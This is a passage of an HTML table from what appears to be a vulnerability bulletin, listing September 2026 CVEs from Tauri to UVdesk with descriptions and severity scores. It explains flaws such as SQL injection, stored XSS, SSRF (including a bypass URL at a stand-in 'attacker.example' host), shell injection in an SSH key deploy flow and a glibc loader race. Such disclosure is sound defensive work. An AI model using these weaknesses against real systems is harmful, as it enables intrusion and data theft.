&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tauri--tauri-plugin-updater&lt;/td&gt;
&lt;td&gt;The Tauri updater plugin verifies update binaries using minisign signatures, but the signature covers only the raw binary bytes. The update manifest -- which contains the version number, download URL, and signature -- is fetched over TLS but is never itself signed or authenticated. Because the only anti-rollback check compares the manifest&#039;s version field against the current version, and that field is unsigned, an attacker who can serve a crafted manifest can force installation of any older signed release without possessing the developer&#039;s private key.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95625&quot; target=&quot;_blank&quot;&gt;CVE-2026-95625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tautulli--Tautulli&lt;/td&gt;
&lt;td&gt;Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the unauthenticated /auth/redirect endpoint in plexpy/webauth.py removes forward slashes from the user-controlled redirect_uri parameter but leaves tab, line-feed, and carriage-return characters intact. With the default root HTTP_ROOT configuration, CherryPy HTTPRedirect passes the resulting value to urllib.parse.urljoin, which can resolve the whitespace-bearing path to an attacker-controlled external origin. A user who follows a crafted link can therefore be redirected outside Tautulli for phishing or post-login redirect-flow abuse, while custom non-root HTTP_ROOT configurations are not affected by this bypass. This issue is fixed in version 2.17.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54915&quot; target=&quot;_blank&quot;&gt;CVE-2026-54915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TBTAK ULAKBM--UlakPDF&lt;/td&gt;
&lt;td&gt;Incorrect Authorization vulnerability in TÃœBÄ°TAK ULAKBÄ°M UlakPDF allows Privilege Escalation. This issue affects UlakPDF: through 09092026.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88916&quot; target=&quot;_blank&quot;&gt;CVE-2026-88916&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TDuckCloud--tduck-platform&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in TDuckCloud tduck-platform up to 5.3. This vulnerability affects the function PaginationInnerInterceptor.concatOrderBy of the file tduck-api/src/main/java/com/tduck/cloud/api/config/MybatisPlusConfig.java of the component Pagination Inner Interceptor. The manipulation of the argument orders[0].column leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used. The identifier of the patch is ea7f0fae7cb0fd998a3284c11addce689350cd69. It is suggested to install a patch to address this issue.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95829&quot; target=&quot;_blank&quot;&gt;CVE-2026-95829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TDuckCloud--tduck-survey-form&lt;/td&gt;
&lt;td&gt;TDuck survey form through 6.0 lacks authorization checks on FormThemeController write endpoints for global form themes and categories. Authenticated non-admin users can add, modify, or delete themes and theme categories affecting forms owned by other users.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100303&quot; target=&quot;_blank&quot;&gt;CVE-2026-100303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TDuckCloud--tduck-survey-form&lt;/td&gt;
&lt;td&gt;TDuck survey form 6.0 contains an information disclosure vulnerability in FormAuthUtils.hasPermission that fails open when a form does not exist, allowing authenticated users to access deleted form submissions. Attackers can read orphaned submission data including personal information by providing a known dataId to the GET /user/form/data/details endpoint after the form has been permanently deleted.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100304&quot; target=&quot;_blank&quot;&gt;CVE-2026-100304&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TDuckCloud--tduck-survey-form&lt;/td&gt;
&lt;td&gt;TDuck survey form through 6.0 fails to validate write passwords on submission endpoints, enforcing the check only on the front end. Remote unauthenticated attackers can submit form entries directly to public submission APIs without providing the password by using the form key from share links.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100306&quot; target=&quot;_blank&quot;&gt;CVE-2026-100306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TDuckCloud--tduck-survey-form&lt;/td&gt;
&lt;td&gt;TDuck survey form through 6.0 fails to enforce form fill-in restrictions on the authenticated submission endpoint POST /user/form/data/create. Authenticated attackers who know a form&#039;s key can submit unlimited entries to any form, bypassing publish status, time window, quota, and per-IP restrictions to falsify collected results.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100305&quot; target=&quot;_blank&quot;&gt;CVE-2026-100305&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Termix-SSH--Termix&lt;/td&gt;
&lt;td&gt;Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 2.5.0 until 2.5.1, Termix allows authenticated users to configure webhook or ntfy notification channels with attacker-controlled destination URLs and trigger server-side requests through the notification-channel test endpoint. The request path in src/backend/database/routes/alert-rules-routes.ts reaches src/backend/utils/notification-sender.ts without destination allowlisting or private-address blocking. This permits blind requests to internal HTTP services reachable by the Termix server. Webhook mode also permits attacker-controlled HTTP methods and headers, which can cause limited state changes when an internal service accepts the fixed notification body, although response bodies are not returned. This issue is fixed in version 2.5.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79760&quot; target=&quot;_blank&quot;&gt;CVE-2026-79760&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Termix-SSH--Termix&lt;/td&gt;
&lt;td&gt;Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 1.7.0 until 2.5.1, the Termix SSH key deployment flow derives a grep pattern from a user-controlled public-key token and interpolates it into double-quoted shell commands executed on the selected target host. In src/backend/database/routes/credential-deploy-routes.ts, both grep -F verification paths accept command substitution or quote-breaking shell syntax in keyPattern. An authenticated user who can deploy a crafted SSH credential can therefore execute commands with the selected remote account&#039;s privileges. The separate ACME command-injection report is outside this CVE&#039;s scope. This issue is fixed in version 2.5.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79761&quot; target=&quot;_blank&quot;&gt;CVE-2026-79761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Termix-SSH--Termix&lt;/td&gt;
&lt;td&gt;Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 1.8.0 until 2.5.1, authenticated Termix users can access the server-stats API without per-host authorization. GET /status returns statuses for hosts the requester cannot access, GET /status/:id accepts an attacker-supplied numeric host identifier, and POST /clear-connections permits a regular user to clear the global SSH connection pool. The affected src/backend/ssh/server-stats.ts routes expose host online or offline state and lastChecked timestamps and can disrupt other users&#039; active sessions or pooled connections. Unauthenticated requests remain blocked, but authentication alone does not preserve tenant isolation. This issue is fixed in version 2.5.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79758&quot; target=&quot;_blank&quot;&gt;CVE-2026-79758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Termix-SSH--Termix&lt;/td&gt;
&lt;td&gt;Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 1.7.0 until 2.5.1, Termix derives the keys that wrap OIDC and WebAuthn users&#039; Data Encryption Keys from committed default strings and the public userId salt in src/backend/utils/user-crypto.ts. Because OIDC_SYSTEM_SECRET and WEBAUTHN_SYSTEM_SECRET are not configured by the project&#039;s default deployment artifacts, an attacker with an offline SQLite database copy can derive the wrapping key, recover each affected user&#039;s DEK, and decrypt stored SSH passwords, private keys, and key passphrases. Password-authenticated users are not affected by this specific key derivation path. This issue is fixed in version 2.5.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79762&quot; target=&quot;_blank&quot;&gt;CVE-2026-79762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Termix-SSH--Termix&lt;/td&gt;
&lt;td&gt;Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 2.4.0 until 2.5.1, the POST /users/totp/disable and POST /users/totp/backup-codes endpoints accept the account password as the sole reauthentication factor after a 2.4.0 refactor regressed the two-factor check introduced for CVE-2026-45749. In src/backend/database/routes/user-totp-routes.ts, verifyTotpReauth returns success when bcrypt.compare validates the password, while each endpoint chooses password or totp_code as an interchangeable credential. An attacker who has a victim&#039;s authenticated session and knows the password can disable TOTP or regenerate and invalidate backup codes without an authenticator or valid second factor, weakening the account to single-factor authentication. This issue is fixed in version 2.5.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79763&quot; target=&quot;_blank&quot;&gt;CVE-2026-79763&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Termix-SSH--Termix&lt;/td&gt;
&lt;td&gt;Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 1.7.0 until 2.5.1, the POST /credentials/:id/deploy-to-host endpoint resolves credential and target-host records from attacker-controlled credentialId and targetHostId integer values without checking that either record belongs to the requesting user. In src/backend/database/routes/credentials.ts, differential errors reveal whether credential and host records exist and disclose each record&#039;s authType value. Properly encrypted passwords and keys are not disclosed, but a key-authenticated victim host can receive an outbound SSH connection attempt using the attacker&#039;s public key. This issue is fixed in version 2.5.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79759&quot; target=&quot;_blank&quot;&gt;CVE-2026-79759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The GNU C Library--glibc&lt;/td&gt;
&lt;td&gt;A time-of-check to time-of-use (TOCTOU) race condition in the dynamic loader (ld.so) of the GNU C Library (glibc) versions 2.14 through 2.44 allows a local attacker to escalate privileges. When expanding $ORIGIN in DT_RPATH for setuid/setgid (AT_SECURE) programs, glibc validates the lexically normalized search path against the trusted directories but then opens the raw, un-normalized path. On systems where the Linux fs.protected_hardlinks sysctl is disabled, a local attacker who hard-links such a program into an attacker-controlled directory and wins a race to replace an intermediate path component with a symbolic link can direct the loader outside the trusted directory, causing it to load an attacker-controlled shared object and execute arbitrary code with the elevated privileges of the program. Exploitation requires an installed setuid or setgid binary whose DT_RPATH uses $ORIGIN followed by &quot;..&quot; traversal that normalizes into a trusted directory, and the ability to hard-link that binary and win the race by swapping a path component for a symbolic link. Major Linux-based OS distributions ship with fs.protected_hardlinks enabled by default and mitigate the vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86805&quot; target=&quot;_blank&quot;&gt;CVE-2026-86805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Themefic--Ultimate Addons for Contact Form 7&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Ultimate Addons for Contact Form 7 &amp;lt;= 3.5.50 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95586&quot; target=&quot;_blank&quot;&gt;CVE-2026-95586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeum--Kirki Freeform Page Builder, Website Builder &amp;amp; Customizer&lt;/td&gt;
&lt;td&gt;The Kirki - Freeform Page Builder, Website Builder &amp;amp; Customizer plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 6.2.0 via the &#039;kirki_data&#039; Parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18335&quot; target=&quot;_blank&quot;&gt;CVE-2026-18335&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeum--Tutor LMS eLearning and online course solution&lt;/td&gt;
&lt;td&gt;The Tutor LMS - eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 4.0.7 via the tutor_quiz_builder_save AJAX action due to missing validation that nested question_id, answer_id, deleted_question_ids[], and deleted_answer_ids[] values in the submitted payload belong to a quiz/topic/course the requester is authorized to manage. The handler only validates the top-level course_id, topic_id, and (when supplied) payload[&#039;ID&#039;], but the nested identifiers are passed straight into $wpdb-&amp;gt;update/DELETE statements in QuizBuilder::save_questions(), QuizBuilder::save_question_answers(), and QuizBuilder::handle_delete(). This makes it possible for authenticated attackers, with Instructor-level access and above, to overwrite the content and re-parent arbitrary quiz questions/answers belonging to other instructors or administrators, and to delete arbitrary quiz question and answer rows.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18439&quot; target=&quot;_blank&quot;&gt;CVE-2026-18439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;theRealSain--Pixtream&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in theRealSain Pixtream up to 866afd4f0cea812b918780fb74b67dccf8c4d6a0. This issue affects some unknown processing of the file /post_upload.php. The manipulation of the argument media results in unrestricted upload. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95830&quot; target=&quot;_blank&quot;&gt;CVE-2026-95830&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thomaspoignant--scim-patch&lt;/td&gt;
&lt;td&gt;scim-patch is a library for applying SCIM patch operations. Prior to 0.9.2, navigate() reads inherited properties and assign() uses prototype-chain membership checks while resolving attacker-controlled SCIM PATCH paths. A path or one of the dotted value keys beginning with an inherited property such as toString can therefore traverse into a shared built-in function object and add attacker-controlled properties, causing process-global mutation that may affect application logic reading inherited-method properties. This issue is fixed in version 0.9.2.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61834&quot; target=&quot;_blank&quot;&gt;CVE-2026-61834&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thorsten--phpMyFAQ&lt;/td&gt;
&lt;td&gt;phpMyFAQ is an open source FAQ web application. Prior to version 4.2.0-alpha, an authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ&#039;s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape `%` and `_`, which remain active `LIKE` wildcards. Version 4.2.0-alpha patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47132&quot; target=&quot;_blank&quot;&gt;CVE-2026-47132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tinyauth--tinyauth&lt;/td&gt;
&lt;td&gt;tinyauth before 5.1.3 allows rule bypass by appending an allowed route string. This is caused by an unanchored regular expression.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97736&quot; target=&quot;_blank&quot;&gt;CVE-2026-97736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tinyauthapp--tinyauth&lt;/td&gt;
&lt;td&gt;Tinyauth is an authentication and authorization server. Prior to 5.1.0, an unauthenticated remote attacker can send POST /api/user/login requests with 257 distinct nonexistent usernames to fill MaxLoginAttemptRecords and activate a global login lockdown. internal/controller/user_controller.go loginHandler passes each attacker-controlled identifier to internal/service/auth_service.go RecordLoginAttempt, which invokes lockdownMode after the map reaches its cap. IsAccountLocked checks that global state before validating unrelated accounts, causing valid users to receive HTTP 429 until auth.loginTimeout expires, approximately 300 seconds by default. The attack can be repeated, but existing authenticated sessions are not invalidated. This issue is fixed in version 5.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77561&quot; target=&quot;_blank&quot;&gt;CVE-2026-77561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TomBursch--kitchenowl&lt;/td&gt;
&lt;td&gt;KitchenOwl through 0.7.10 fails to verify that category IDs belong to the caller&#039;s household in expense and item operations. Authenticated attackers can enumerate category IDs from other households to read their category names, budgets, and colors, breaking household isolation.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101033&quot; target=&quot;_blank&quot;&gt;CVE-2026-101033&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tomdever--wpForo Forum&lt;/td&gt;
&lt;td&gt;Subscriber Cross Site Scripting (XSS) in wpForo Forum &amp;lt;= 3.1.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93772&quot; target=&quot;_blank&quot;&gt;CVE-2026-93772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tomdever--wpForo Forum&lt;/td&gt;
&lt;td&gt;The wpForo Forum plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;telegram&#039; profile field in versions up to, and including, 3.1.6. This is due to insufficient input sanitization and output escaping in the profile_update action - the raw $_POST[&#039;data&#039;] array is copied into a $custom_fields variable before validate() and sanitize() run, both of which operate only on a parallel $user reference, leaving $custom_fields unsanitized when it is persisted via update_custom_fields(); on render, wpforo_decode() reverses the entity encoding and the value is echoed without escaping in field_wrap_profile(). This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93747&quot; target=&quot;_blank&quot;&gt;CVE-2026-93747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tomdever--wpForo Forum&lt;/td&gt;
&lt;td&gt;The wpForo Forum plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.1.5. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to take over another guest author&#039;s forum post and modify its title, body, author name, and stored owner email address. This requires that guest posting and editing are enabled on the forum, and that the attacker knows the target guest author&#039;s email address.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91092&quot; target=&quot;_blank&quot;&gt;CVE-2026-91092&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TomWright--dasel&lt;/td&gt;
&lt;td&gt;Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.11.1, parsing/json/json_reader.go decodeValue, decodeObject, and decodeArray, and parsing/xml/reader.go parseElement, recurse once per input nesting level without a depth guard. Deeply nested attacker-controlled JSON or XML supplied through parsing.Format(...).NewReader(...).Read(data), the command-line interface, or the parse selector function can exhaust the Go goroutine stack and raise an unrecoverable fatal error that terminates the entire process. The XML input-size limit does not prevent depth exhaustion, and defer or recover cannot intercept the failure. This issue is fixed in version 3.11.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59168&quot; target=&quot;_blank&quot;&gt;CVE-2026-59168&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TomWright--dasel&lt;/td&gt;
&lt;td&gt;Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.11.2, selector/lexer/tokenize.go parseCurRune advances the input index across trailing whitespace and then reads the source at the exhausted index without an end-of-input check. A selector ending in whitespace, including input passed through lexer.NewTokenizer(...).Tokenize() or dasel.Query, can therefore cause an index-out-of-range panic and terminate the process. This issue is fixed in version 3.11.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62866&quot; target=&quot;_blank&quot;&gt;CVE-2026-62866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TrustedLogin--TrustedLogin Connector&lt;/td&gt;
&lt;td&gt;Unauthenticated Sensitive Data Exposure in TrustedLogin Connector &amp;lt;= 2.0.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95600&quot; target=&quot;_blank&quot;&gt;CVE-2026-95600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;universal-tool-calling-protocol--python-utcp&lt;/td&gt;
&lt;td&gt;python-utcp (pip package utcp-http) before 1.1.12 does not verify whether tool URLs declared in a hand-written UTCP manual point at the agent&#039;s own loopback interface when that manual is discovered from a remote, non-loopback origin. Because ensure_secure_url intentionally permits loopback HTTP for local development and native manuals bypassed the loopback check performed by the OpenAPI converter, an attacker who can serve a UTCP manual that a victim registers can cause the client to issue requests to services bound only to 127.0.0.1 on the victim host and have the response bodies returned to the caller (server-side request forgery). The http, sse and streamable_http protocols are all affected. Reach is limited to loopback, and exploitation further requires a loopback service that answers unauthenticated requests with useful data. Fixed in utcp-http 1.1.12, which rejects manuals fetched from a non-loopback origin that declare loopback tool URLs, keyed off the final post-redirect discovery URL.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101058&quot; target=&quot;_blank&quot;&gt;CVE-2026-101058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;universal-tool-calling-protocol--python-utcp&lt;/td&gt;
&lt;td&gt;utcp-gql before 1.1.1 and utcp-websocket before 1.1.1 contain server-side request forgery vulnerabilities due to incomplete application of CVE-2026-44661 fixes. The GraphQL plugin uses a vulnerable prefix check allowing bypass URLs like http://127.0.0.1.attacker.example, while the WebSocket plugin performs no URL validation despite documented security requirements. Attackers can force connections to internal services and cloud metadata endpoints by supplying malicious tool URLs in call templates, and receive configured API keys and OAuth tokens sent to attacker-controlled hosts.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101061&quot; target=&quot;_blank&quot;&gt;CVE-2026-101061&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Unleash--unleash&lt;/td&gt;
&lt;td&gt;Unleash is an open-source feature management platform. Prior to 8.0.3, POST /api/admin/projects/:projectId/features/:featureName/environments/:environment/strategies/set-sort-order passes attacker-controlled strategy IDs to unprotectedUpdateStrategiesSortOrder and updateSortOrder without verifying that the IDs belong to the project, feature, and environment authorized by the URL. In a multi-project Pro or Enterprise deployment, an authenticated user with UPDATE_FEATURE_STRATEGY in one project who knows another project&#039;s strategy IDs can reorder those strategies, changing feature evaluation precedence while the operation is attributed to the attacker&#039;s URL context rather than the affected project. The single-project OSS edition lacks the cross-project dimension, although the missing context binding still permits unauthorized reordering across features or environments in the default project. The endpoint changes only sort_order and does not modify strategy parameters, constraints, or segments. This issue is fixed in version 8.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77425&quot; target=&quot;_blank&quot;&gt;CVE-2026-77425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;uvdesk--core-framework&lt;/td&gt;
&lt;td&gt;UVdesk core-framework before 1.1.7 contains a stored cross-site scripting vulnerability in the SwiftMailer configuration identifier parameter of the createMailerConfiguration action. Attackers with ROLE_AGENT can inject malicious script into the identifier field, which is persisted and executed when other members access the configuration update page.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-71419&quot; target=&quot;_blank&quot;&gt;CVE-2025-71419&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;uvdesk--core-framework&lt;/td&gt;
&lt;td&gt;UVdesk core-framework before 1.1.7 contains an authorization bypass vulnerability in the saved reply endpoint that allows authenticated agents to access replies restricted to other support groups. Attackers with ROLE_AGENT can enumerate saved reply identifiers and read content reserved for groups and teams they do not belong to.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
